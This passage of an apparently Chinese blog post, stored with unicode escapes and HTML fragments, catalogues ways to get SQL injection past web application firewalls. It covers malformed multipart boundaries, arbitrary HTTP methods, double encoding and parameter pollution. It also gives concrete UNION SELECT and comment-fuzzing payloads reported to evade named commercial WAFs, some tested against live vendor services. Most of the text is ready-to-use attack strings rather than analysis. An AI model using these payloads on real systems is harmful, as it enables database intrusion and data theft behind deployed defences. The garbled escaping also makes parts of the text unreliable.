4.\u5728asp\u548casp.net\u4e2d\u83b7\u53d6\u7528\u6237\u7684\u63d0\u4ea4\u7684\u53c2\u6570\u4e00\u822c\u4f7f\u7528request\u5305\uff0c\u5f53\u4f7f\u7528request(\u2018id\u2019)\u7684\u5f62\u5f0f\u83b7\u53d6\u5305\u7684\u65f6\u5019\uff0c\u4f1a\u51fa\u73b0GET\uff0cPOST\u5206\u4e0d\u6e05\u7684\u60c5\u51b5\uff0c\u8b6c\u5982\u53ef\u4ee5\u6784\u9020\u4e00\u4e2a\u8bf7\u6c42\u5305\uff0cMETHOD\u4e3aGET\uff0c\u4f46\u662f\u5305\u4e2d\u8fd8\u5e26\u6709POST\u7684\u5185\u5bb9\u548cPOST\u7684content-type, \u6362\u4e00\u79cd\u7406\u89e3\u65b9\u5f0f\u4e5f\u5c31\u662f\u5c06\u539f\u672c\u7684post\u6570\u636e\u5305\u7684method\u6539\u6210GET,\u5982\u679c\u4f7f\u7528request(\u2018id\u2019)\u65b9\u5f0f\u83b7\u53d6\u6570\u636e\uff0c\u4ecd\u4f1a\u83b7\u53d6\u5230post\u7684\u5185\u5bb9\n2. php+apache\u7578\u5f62\u7684boundary\n 1.php\u5728\u89e3\u6790multipart data\u7684\u65f6\u5019\u6709\u81ea\u5df1\u7684\u7279\u6027\uff0c\u5bf9\u4e8eboundary\u7684\u8bc6\u522b\uff0c\u53ea\u53d6\u4e86\u9017\u53f7\u524d\u9762\u7684\u5185\u5bb9\uff0c\u4f8b\u5982\u6211\u4eec\u8bbe\u7f6e\u7684boundary\u4e3a\u2014-aaaa,123456\uff0cphp\u89e3\u6790\u7684\u65f6\u5019\u53ea\u8bc6\u522b\u4e86\u2014-aaaa,\u540e\u9762\u7684\u5185\u5bb9\u5747\u6ca1\u6709\u8bc6\u522b\u3002\u7136\u800c\u5176\u4ed6\u7684\u5982WAF\u5728\u505a\u89e3\u6790\u7684\u65f6\u5019\uff0c\u6709\u53ef\u80fd\u83b7\u53d6\u7684\u662f\u6574\u4e2a\u5b57\u7b26\u4e32\uff0c\u6b64\u65f6\u53ef\u80fd\u5c31\u4f1a\u51fa\u73b0BYPASS\n Content-Type: multipart\/form-data; boundary=------,xxxx\n Content-Length: 191\n \n ------,xxxx\n Content-Disposition: form-data; name=\"img\"; filename=\"img.gif\"\n \n GIF89a\n ------\n Content-Disposition: form-data; name=\"id\"\n \n 1' union select null,null,flag,null from flag limit 1 offset 1-- -\n --------\n ------,xxxx--\n 2.\u7578\u5f62method(header\u5934\u4e2d)\n \u67d0\u4e9bapache\u7248\u672c\u5728\u505aGET\u8bf7\u6c42\u7684\u65f6\u5019\uff0c\u65e0\u8bbamethod\u4e3a\u4f55\u503c\u5747\u4f1a\u53d6\u51faGET\u7684\u5185\u5bb9\u3002\u5982\u8bf7\u6c42\u7684method\u540d\u4e3aDOTA\uff0c\u4f9d\u7136\u4f1a\u8fd4\u56deGET\u65b9\u6cd5\u7684\u503c\uff0c\u5373,\u53ef\u4ee5\u4efb\u610f\u66ff\u6362GET\u65b9\u6cd5\u4e3a\u5176\u5b83\u503c\uff0c\u4f46\u4ecd\u80fd\u6709\u6548\u5de5\u4f5c\uff0c\u4f46\u5982\u679cwaf\u4e25\u683c\u6309\u7167GET\u65b9\u6cd5\u53d6\u503c\uff0c\u5219\u53d6\u4e0d\u5230\u4efb\u4f55\u5185\u5bb9\n3. web\u5e94\u7528\u5c42\n 1.\u53cc\u91cdURL\u7f16\u7801: \u5373web\u5e94\u7528\u5c42\u5728\u63a5\u53d7\u5230\u7ecf\u8fc7\u670d\u52a1\u5668\u5c42\u89e3\u7801\u540e\u7684\u53c2\u6570\u540e\uff0c\u53c8\u8fdb\u884c\u4e86\u4e00\u6b21URL\u89e3\u7801\n 2.\u53d8\u6362\u8bf7\u6c42\u65b9\u5f0f\uff1a\n \u5728web\u5e94\u7528\u4e2d\u4f7f\u7528\u4e86\u7edf\u4e00\u83b7\u53d6\u53c2\u6570\u7684\u65b9\u5f0f: \u5982php\u91cc\u4f7f\u7528$_REQUEST\u83b7\u53d6\u53c2\u6570\uff0c\u4f46WAF\u5c42\u5982\u679c\u8fc7\u6ee4\u4e0d\u5168\u5219\u5bb9\u6613bypass\uff0c\u5982\uff0cwaf\u5c42\u8fc7\u6ee4\u4e86get\/post\uff0c\u4f46\u6ca1\u6709\u8fc7\u6ee4cookie\uff0c\u800cweb\u5e94\u7528\u5c42\u5e76\u4e0d\u5173\u5fc3\u53c2\u6570\u662f\u5426\u6765\u81eacookie\n urlencode\u548cform-data: POST\u5728\u63d0\u4ea4\u6570\u636e\u7684\u65f6\u5019\u6709\u4e24\u79cd\u65b9\u5f0f\uff0c\u7b2c\u4e00\u79cd\u65b9\u5f0f\u662f\u4f7f\u7528urlencode\u7684\u65b9\u5f0f\u63d0\u4ea4\uff0c\u7b2c\u4e8c\u79cd\u65b9\u5f0f\u662f\u4f7f\u7528form-data\u7684\u65b9\u5f0f\u63d0\u4ea4\u3002\u5f53\u6211\u4eec\u5728\u6d4b\u8bd5\u7684\u65f6\u5019\uff0c\u5982\u679c\u53d1\u73b0POST\u63d0\u4ea4\u7684\u6570\u636e\u88ab\u8fc7\u6ee4\u6389\u4e86\uff0c\u6b64\u65f6\u53ef\u4ee5\u8003\u8651\u4f7f\u7528form-data\u7684\u65b9\u5f0f\u53bb\u63d0\u4ea4 \n4. hpp \n asp.net + iis\uff1aid=1,2,3 #?str=a%27\/*&str=*\/and\/*&str=*\/@@version=0--\n asp + iis \uff1aid=1,2,3\n php + apache \uff1aid=3\n jsp + tomcat \uff1aid=1\n<\/code><\/pre><\/div><\/div>\n\u8fd9\u91cc\u63d0\u4f9b\u4e00\u79cd\u9488\u5bf9\u666e\u901a\u68c0\u6d4b\u7684\u65b9\u6cd5\uff0c\u5927\u5bb6\u53ef\u81ea\u884c\u53d1\u6325\u3002\nmysql int\u578b\uff1a %20%26%201=1 mysql.php?id=1%20%26%201=1\n![\"image\"](\"\/images\/posts\/sql-injection-fuck-waf\/1.png\")
\n\u53e6\u5916\u5728\u5b57\u7b26\u578b\u4e2d \u2018and\u20191\u2019=\u20191\u662f\u4e0d\u9700\u8981\u52a0\u7a7a\u683c\u7684\uff0c\u6709\u65f6\u5019\u4e5f\u53ef\u4ee5\u7ed5\u8fc7\u4e00\u4e9bwaf\u5224\u65ad\n![\"image\"](\"\/images\/posts\/sql-injection-fuck-waf\/2.png\")
<\/p>\n\n
0x2 bypasswaf<\/h3>\n
\u7531\u4e8emysql\u7684\u7075\u6d3b\u6027\uff0c\u8fd9\u91cc\u4ee5mysql\u7ed5\u8fc7\u4e3a\u4e3b\uff0c\u9488\u5bf9\u5404\u5927\u4e3b\u6d41waf\u5382\u5546\u8fdb\u884c\u4e00\u4e2a\u6d4b\u8bd5\uff0c\u4e3b\u8981\u6d4b\u8bd5\u5728\u7ebf\u7248\u7684\uff0c\u672c\u5730\u5c31\u5b89\u88c5\u4e86\u4e00\u4e2a360\u4e3b\u673a\u536b\u58eb\u3002\n\u5176\u4e2dhttp:\/\/192.168.44.132\/mysql.php?id=1\u662f\u6211\u672c\u5730\u7684\u4e00\u4e2a\u6d4b\u8bd5\u73af\u5883
\n\u5176\u4e2d\u4e0b\u9762\u7684\u7ed5\u8fc7\u90fd\u662f\u4ee5fuzz\u4e3a\u4e3b\uff0c\u4e0d\u8003\u8651web\u5bb9\u5668\u7684\u7279\u6027\uff0c\u5c1d\u8bd5\u7ed5\u8fc7\u8054\u5408\u67e5\u8be2 -1 union select 1\uff0c2\uff0c3 from dual<\/p>\n
\n - \u767e\u5ea6\u4e91\u52a0\u901fbypass
\nunion select #filter
\nfrom dual #not filted
\nselect from dual #filter
\n\u53ea\u9700\u8981\u7ed5\u8fc7select\u5373\u53ef \u4f7f\u7528\u2013+aaaaaa%0a\u53efbypass
\n![\"image\"](\"\/images\/posts\/sql-injection-fuck-waf\/3.png\")
<\/li>\n - 360\u4e3b\u673a\u536b\u58ebbypass
\n\u53d1\u73b0%23%0aand%230a1=1 \u53ef\u4ee5\u7ed5\u8fc7and 1=1 \u9650\u5236
\n\u6700\u540e\u5728union select from\u7684\u65f6\u5019\u5374\u7ed5\u4e0d\u8fc7\u53bb
\n\u76f4\u63a5\u4f7f\u7528\u5927\u5b57\u7b26\u4e32\u6765fuzz %23-FUZZ-%0a https:\/\/github.com\/minimaxir\/big-list-of-naughty-strings\/blob\/master\/blns.txt \u53d1\u73b0\u53ef\u4ee5\u6210\u529f\u7ed5\u8fc7waf
\n![\"image\"](\"\/images\/posts\/sql-injection-fuck-waf\/4.png\")
<\/li>\n - \u4e91\u9501
\nunion select \u5982\u4e0b\u5c31\u53ef\u4ee5\u7ed5\u8fc7
\nhttp:\/\/www.yunsuo.com.cn\/download.html?id=1%20union\/!\/<\/em>!select%201,2,3*\/
\n\u8f6c\u6362\u6210multiform\/data\u53ef\u8f7b\u677e\u7ed5\u8fc7 \n![\"image\"](\"\/images\/posts\/sql-injection-fuck-waf\/7.png\")
<\/li>\n - \u5b89\u5168\u72d7bypass
\n\u76f4\u63a5\u641e\u5c31\u884c\u4e86\n![\"image\"](\"\/images\/posts\/sql-injection-fuck-waf\/6.png\")
\n\u5f53\u7136\u4e5f\u53ef\u4ee5chunked\u63d0\u4ea4\n![\"image\"](\"\/images\/posts\/sql-injection-fuck-waf\/chunked.png\")
<\/li>\n - \u963f\u91cc\u4e91
\n\u5c1d\u8bd5\u4f7f\u7528\u81ea\u5b9a\u4e49\u53d8\u91cf\u65b9\u5f0f\u6765\u7ed5\u8fc7 @a:=(select @b:=table_name<\/code>from{a information_schema.TABLES<\/code> }limit 0,1)union select \u20181\u2019,@a
\n@p:=(select)\u88ab\u8fc7\u6ee4 fuzz\u4e0bp\u53c2\u6570\u4f7f\u7528@$:=(select)\u53ef\u4ee5\u7ed5\u8fc7
\nunion select 1\u88ab\u8fc7\u6ee4 \u4f7f\u7528union%23aa%0a\/!select\u2013%01%0a<\/em>\/1,@$,3 \u53ef\u4ee5\u7ed5\u8fc7
\n\u53d1\u73b0\u91cd\u70b9\u5c31\u662f\u7ed5\u8fc7\u8868\u540d select 1 from dual \u4e00\u4e9b\u5e38\u89c4\u7684\u65b9\u6cd5\u6d4b\u8bd5\u65e0\u679c \u968f\u4fbffuzz\u4e0b\u6ce8\u91ca\/!\u6570\u5b57<\/em>\/\u5374\u5076\u7136\u53d1\u73b0\u6709\u4fe9\u4e2a\u6570\u636e\u5305\u9057\u6f0f
\n\u60f3\u8d77\u4e86\u4ee5\u524d\u4e4c\u4e91\u4e0a\u4e00\u54e5\u7684\u7684\u4e00\u4e2a\u6f0f\u6d1ehttps:\/\/wooyun.shuimugan.com\/bug\/view?bug_no=94367\n![\"image\"](\"\/images\/posts\/sql-injection-fuck-waf\/alifuzz1.png\")
\n\u96be\u9053\u662f\u56e0\u4e3a\u8bbf\u95ee\u9891\u7387\u5bfc\u81f4\u9057\u6f0f\uff1f\u968f\u5373\u6211\u53c8\u8fdb\u884c\u4e86\u4e00\u4e9bfuzz fuzz1w\u52305w\u6570\u5b57\u578b\u7684\u6ce8\u91ca \u52a0\u5927\u7ebf\u7a0b \u53d1\u73b0\u9057\u6f0f\u4e86\u66f4\u591a
\n![\"image\"](\"\/images\/posts\/sql-injection-fuck-waf\/alifuzz2.png\")
\n\u6211\u60f3\u6d4b\u8bd5\u4e00\u4e0b\u4e4b\u524d\u7684waf\u6311\u6218\u8d5b\uff0c\u53d1\u73b0\u4e4b\u524d\u63d0\u4ea4\u7684payload\u5df2\u7ecf\u4fee\u590d\u4e86\uff0c\u800c\u4e14\u90a3\u4e2a\u6f0f\u6d1eurl\u65e0\u6cd5\u8bbf\u95ee\u4e86:( \u6240\u4ee5\u65e0\u6cd5\u786e\u8ba4\u3002
\n\u968f\u5373\u6211\u53c8\u8fdb\u884c\u4e86\u4e00\u4e9b\u8d85\u957f\u5b57\u7b26\u4e32\u7684fuzz \u7b80\u5355fuzz1w-10w \u4ee5500\u4e3astep \u53d1\u73b0\u73b0\u8c61\u66f4\u591a\u4e86 \u53ef\u521d\u6b65\u5224\u65ad\u5b58\u5728\u9057\u6f0f\n![\"image\"](\"\/images\/posts\/sql-injection-fuck-waf\/alifuzz4.png\")
\n 0x3 \u81ea\u52a8\u5316<\/h3>\n
\u4ee5360\u4e3b\u673a\u536b\u58eb\u4e3a\u4f8b\uff0c\u7f16\u5199sqlmap tamper\u811a\u672c\u3002